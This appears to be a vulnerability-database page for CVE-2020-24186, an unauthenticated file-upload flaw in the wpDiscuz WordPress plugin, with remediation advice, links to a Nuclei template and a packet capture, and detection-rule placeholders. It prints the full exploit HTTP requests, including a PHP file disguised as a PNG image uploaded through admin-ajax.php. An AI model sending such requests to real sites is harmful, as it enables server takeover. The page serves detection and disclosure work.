🔙 목록으로 돌아가기

CVE-2020-24186: WordPress wpDiscuz <=7.0.4 - Remote Code Execution

TitleWordPress wpDiscuz <=7.0.4 - Remote Code Execution
AuthorGanofins
SeverityCritical
ImpactSuccessful exploitation of this vulnerability can lead to arbitrary code execution on the affected WordPress site.
RemediationUpdate the wpDiscuz plugin to the latest version (>=7.0.5) to mitigate this vulnerability.
CVSS Score10
EPSS Score0.94213
CVE IDCVE-2020-24186
CWE IDCWE-434
Tags cve cve2020 rce fileupload packetstorm wordpress wp-plugin intrusive gvectors vuln

🔍 Vulnerability Description

WordPress wpDiscuz plugin versions version 7.0 through 7.0.4 are susceptible to remote code execution. This flaw gave unauthenticated attackers the ability to upload arbitrary files, including PHP files, and achieve remote code execution on a vulnerable site’s server.

🌐 HTTP Request

GET /?p=1 HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36
Connection: close
Accept: */*
Accept-Encoding: gzip
POST /wp-admin/admin-ajax.php HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Macintosh, Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/17.5 Safari/605.1.15
Connection: close
Content-Length: 693
Content-Type: multipart/form-data; boundary=----WebKitFormBoundary88AhjLimsDMHU1Ak
Origin: http://www.victim.com
Referer: http://www.victim.com
X-Requested-With: XMLHttpRequest
Accept-Encoding: gzip

------WebKitFormBoundary88AhjLimsDMHU1Ak

Content-Disposition: form-data; name="action"



wmuUploadFiles

------WebKitFormBoundary88AhjLimsDMHU1Ak

Content-Disposition: form-data; name="wmu_nonce"



Fn7eZd

------WebKitFormBoundary88AhjLimsDMHU1Ak

Content-Disposition: form-data; name="wmuAttachmentsData"



undefined

------WebKitFormBoundary88AhjLimsDMHU1Ak

Content-Disposition: form-data; name="wmu_files[0]"; filename="rce.php"

Content-Type: image/png



����jExifMM*���i��>������������������������������JFIF������C���
��

<?php phpinfo();?>

------WebKitFormBoundary88AhjLimsDMHU1Ak

Content-Disposition: form-data; name="postId"



1

------WebKitFormBoundary88AhjLimsDMHU1Ak--

📚 References


🔗 Nuclei Template: https://github.com/packetinside/nuclei-templates/blob/main/http/cves/2020/CVE-2020-24186.yaml

🦈 Packet Capture: ⬇️ Download cve-2020-24186.pcap

⚠️ Notice: These rules are for detection purposes. Please tune them before applying to a production environment.
Snort 2 Rule
N/A
Snort 3 Rule
N/A